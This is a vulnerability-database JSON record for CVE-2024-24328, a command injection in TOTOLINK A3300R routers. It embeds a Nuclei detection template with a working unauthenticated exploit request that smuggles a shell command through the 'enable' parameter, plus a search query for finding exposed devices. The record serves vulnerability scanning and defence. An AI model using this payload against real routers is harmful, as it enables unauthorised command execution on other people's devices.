{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-24328/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-24328/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-24328/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-24328/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-24328/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-24328"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-24328"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.06172,
      "kev": false,
      "percentile": 0.93224
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-24328.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-24328\n\ninfo:\n  name: TotoLink Router setMacFilterRules - Command Injection\n  author: pussycat0x\n  severity: critical\n  description: |\n    TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setMacFilterRules function.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands via the enable parameter, potentially compromising the entire TOTOLINK router.\n  remediation: |\n    Update TOTOLINK A3300R firmware to a version newer than V17.0.0cu.557_B20221024.\n  reference:\n    - https://github.com/funny-mud-peee/IoT-vuls/blob/main/TOTOLINK%20A3300R/12/TOTOlink%20A3300R%20setMacFilterRules.md\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-24328\n    cwe-id: CWE-78\n    epss-score: 0.06172\n    epss-percentile: 0.93224\n    cpe: cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*\n  metadata:\n    vendor: totolink\n    product: a3300r_firmware\n    fofa-query: title=\"totolink\"\n  tags: cve,cve2024,totolink,routers,unauth,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/cstecgi.cgi?token= HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json, text/javascript, */*; q=0.01\n        X-Requested-With: XMLHttpRequest\n        Origin: {{RootURL}}\n        Referer: {{RootURL}}/advance/portfwd.html?token=\n\n        {\"enable\":\"1`ls>/web/{{randstr}}.txt`\",\"addEffect\":\"0\",\"topicurl\":\"setMacFilterRules\"}\n\n      - |\n        GET /{{randstr}}.txt  HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{RootURL}}}}/advance/portfwd.html?token=\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code_1 == 200 && status_code_2 == 200'\n          - 'contains(body_1, \"\\\"success\\\":true\") && contains_all(body_2, \"bin\",\"etc\")'\n        condition: and\n# digest: 4b0a00483046022100bd9ec62fa528b2bb601b1068afe3459a1ca0083c7148c6ef2a8a4cf4ac4aeb15022100f779d0004dc6a90bdc59fb4d680ab03d5277ee367f2e8aabc75a3c8978835f3c:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-24328"
}